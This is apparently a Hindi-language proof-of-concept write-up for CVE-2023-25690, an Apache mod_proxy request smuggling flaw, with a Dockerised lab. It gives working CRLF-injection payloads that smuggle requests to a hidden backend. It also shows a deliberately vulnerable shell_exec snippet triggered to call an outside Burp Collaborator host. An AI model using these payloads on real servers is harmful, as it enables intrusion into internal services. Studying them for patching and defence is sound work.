dhmosfunk/cve-2023-25690-pocCVE 2023 25690 प्रूफ ऑफ कॉन्सेप्ट - Apache HTTP Server संस्करण 2.4.0 - 2.4.55 पर mod_proxy की कमजोर कॉन्फ़िगरेशन HTTP Request Smuggling भेद्यता की ओर ले जाती है।
Apache HTTP सर्वर के संस्करण 2.4.0 से 2.4.55 तक कुछ mod_proxy कॉन्फ़िगरेशन HTTP अनुरोध तस्करी हमले की अनुमति देते हैं। कॉन्फ़िगरेशन तब प्रभावित होते हैं जब mod_proxy किसी RewriteRule या ProxyPassMatch के साथ सक्षम होता है जिसमें एक गैर-विशिष्ट पैटर्न उपयोगकर्ता-प्रदत्त अनुरोध-लक्ष्य (URL) डेटा के कुछ भाग से मेल खाता है और फिर चर प्रतिस्थापन का उपयोग करके प्रॉक्सी किए गए अनुरोध-लक्ष्य में पुनः सम्मिलित किया जाता है। उदाहरण के लिए, कुछ इस प्रकार:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
अनुरोध विभाजन/तस्करी के परिणामस्वरूप प्रॉक्सी सर्वर में अभिगम नियंत्रणों को बायपास करना, मौजूदा मूल सर्वरों पर अनपेक्षित URL को प्रॉक्सी करना, और कैश विषाक्तता हो सकती है। उपयोगकर्ताओं को Apache HTTP सर्वर के कम से कम संस्करण 2.4.56 में अपडेट करने की सलाह दी जाती है।
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Apache कॉन्फ़िगरेशन में RewriteEngine on शामिल करने से URL पुनर्लेखन इंजन सक्षम होता है। URL पुनर्लेखन एक ऐसी तकनीक है जो वेब सर्वरों को क्लाइंट के ब्राउज़र द्वारा अनुरोधित URL को सामग्री प्रदान करने से पहले गतिशील रूप से किसी भिन्न URL में बदलने की अनुमति देती है।
उदाहरण के लिए मान लीजिए कि हमारे पास एक ऑनलाइन ई-शॉप के लिए निम्नलिखित URL संरचना है:
https://example-shop.com/categories/1
मान लीजिए कि Apache कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित RewriteRule निर्देश है:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
जब कोई उपयोगकर्ता URL https://example-shop.com/categories/1 का अनुरोध करता है, तो RewriteRule URL से मेल खाएगा और नियमित अभिव्यक्ति ^/categories/(.*) का उपयोग करके मान 1 को कैप्चर करेगा। फिर नियम कैप्चर किए गए मान को पुनर्लिखित URL में क्वेरी पैरामीटर id के रूप में जोड़कर URL को http://example-shop.com:8080/categories?id=1 में पुनर्लिखित करता है।
चूंकि नियम में [P] ध्वज मौजूद है, Apache पुनर्लिखित URL को एक प्रॉक्सी अनुरोध के रूप में मानेगा और इसे क्वेरी पैरामीटर id को 1 पर सेट करके http://example-shop.com:8080/categories पर लक्ष्य सर्वर को अग्रेषित करेगा। फिर लक्ष्य सर्वर अनुरोध को संसाधित करेगा और प्रतिक्रिया Apache को वापस भेजेगा, जो इसे क्लाइंट को अग्रेषित करेगा।
संक्षेप में, [P] ध्वज के साथ RewriteRule निर्देश का उपयोग URL को पुनर्लिखित करने और उन्हें किसी भिन्न सर्वर पर प्रॉक्सी करने के लिए किया जाता है। इस मामले में, नियम /categories/ से शुरू होने वाले URL से मेल खाता है और कैप्चर किए गए मान को पुनर्लिखित URL में क्वेरी पैरामीटर id के रूप में जोड़ता है। फिर Apache अनुरोध को लक्ष्य सर्वर को अग्रेषित करता है, जो अनुरोध को संसाधित करता है और प्रतिक्रिया लौटाता है।
अंत में ProxyPassReverse /categories/ http://example-shop.com:8080/ के संबंध में, यह पंक्ति बैकएंड सर्वर के डोमेन और पथ को प्रॉक्सी सर्वर के डोमेन और पथ से बदल देती है, ताकि क्लाइंट लिंक का सही ढंग से अनुसरण कर सके और प्रॉक्सी किए गए बैकएंड सर्वर से सामग्री तक पहुंच सके, जैसे कि वह सीधे प्रॉक्सी सर्वर से प्रदान की जा रही हो।
Apache में भेद्यता का अनुकरण करने के लिए हम httpd संस्करण 2.4.55 का उपयोग करेंगे। इसके अतिरिक्त, सेटअप, कॉन्फ़िगरेशन और पुनरुत्पादन में आसानी के लिए पूरी प्रयोगशाला को डॉकराइज़ किया जाएगा।
प्रयोगशाला फ़ाइल संरचना निम्नलिखित होगी:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
अंतिम httpd.conf कॉन्फ़िगरेशन नीचे दिए अनुसार संरचित है:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
प्रयोगशाला शुरू करने के लिए docker-compose.exe up --build कमांड का उपयोग करें।
इस अनुभाग में, मैं समझाऊंगा कि कैसे CRLF इंजेक्शन आंतरिक HTTP अनुरोध तस्करी का कारण बन सकता है, जिससे हमलावर को आंतरिक संसाधनों तक अनधिकृत पहुंच प्राप्त करने में सक्षम बनाता है जो अन्यथा दुर्गम होंगे।
सलाहकार विवरण के अनुसार, httpd <=2.4.55 HTTP प्रतिक्रिया विभाजन के लिए कमजोर है जिसे CRLF इंजेक्शन भी कहा जाता है।
CRLF इंजेक्शन तब होता है जब:
जिसे हमारे मामले में URL में निम्नलिखित CRLF उपसर्ग पास करके पुष्टि की जा सकती है:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
उपरोक्त उपसर्ग को URL में जोड़ने पर, परिणामी अंतिम अनुरोध इस प्रकार होगा:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
अनुरोध के बाद, सर्वर डेटा को संसाधित करेगा और CRLF इंजेक्शन के प्रति भेद्यता का संकेत देते हुए 200 प्रतिक्रिया कोड लौटाएगा।
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
HTTP अनुरोध विभाजन के बारे में अधिक जानकारी यहां पाई जा सकती है, https://owasp.org/www-community/attacks/HTTP_Response_Splitting
हेडर इंजेक्शन का उपयोग करके हम आंतरिक HTTP अनुरोध तस्करी करेंगे।
आइए निम्नलिखित उपसर्ग से शुरू करें:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
और निम्नलिखित अनुरोध
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
पुनर्लेखन नियम लागू करने पर, अनुरोध निम्नलिखित प्रारूप में परिवर्तित हो जाता है:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
जहां एन्कोडेड URL को मान्य HTTP सिंटैक्स में डिकोड किया जाता है, जिससे बैकएंड डिकोड किए गए डेटा को दूसरे अनुरोध के रूप में मानता है।
मान लीजिए कि हमारे आंतरिक एप्लिकेशन में निम्नलिखित गुप्त कोड है:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
निम्नलिखित उपसर्ग के साथ हम छिपी कार्यक्षमता के लिए दूसरा अनुरोध भेजने में सक्षम हैं:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
और burp collaborator पर अनुरोध प्राप्त करें:
पैचेस:
इस भेद्यता का प्रभाव यह है कि यह हमलावरों को उन आंतरिक अनुप्रयोगों को लक्षित करने और उन तक पहुंचने की अनुमति देता है जो रिवर्स प्रॉक्सी द्वारा छिपाए जाने वाले हैं, जिससे संभावित रूप से अनधिकृत पहुंच, डेटा रिसाव या आगे शोषण हो सकता है।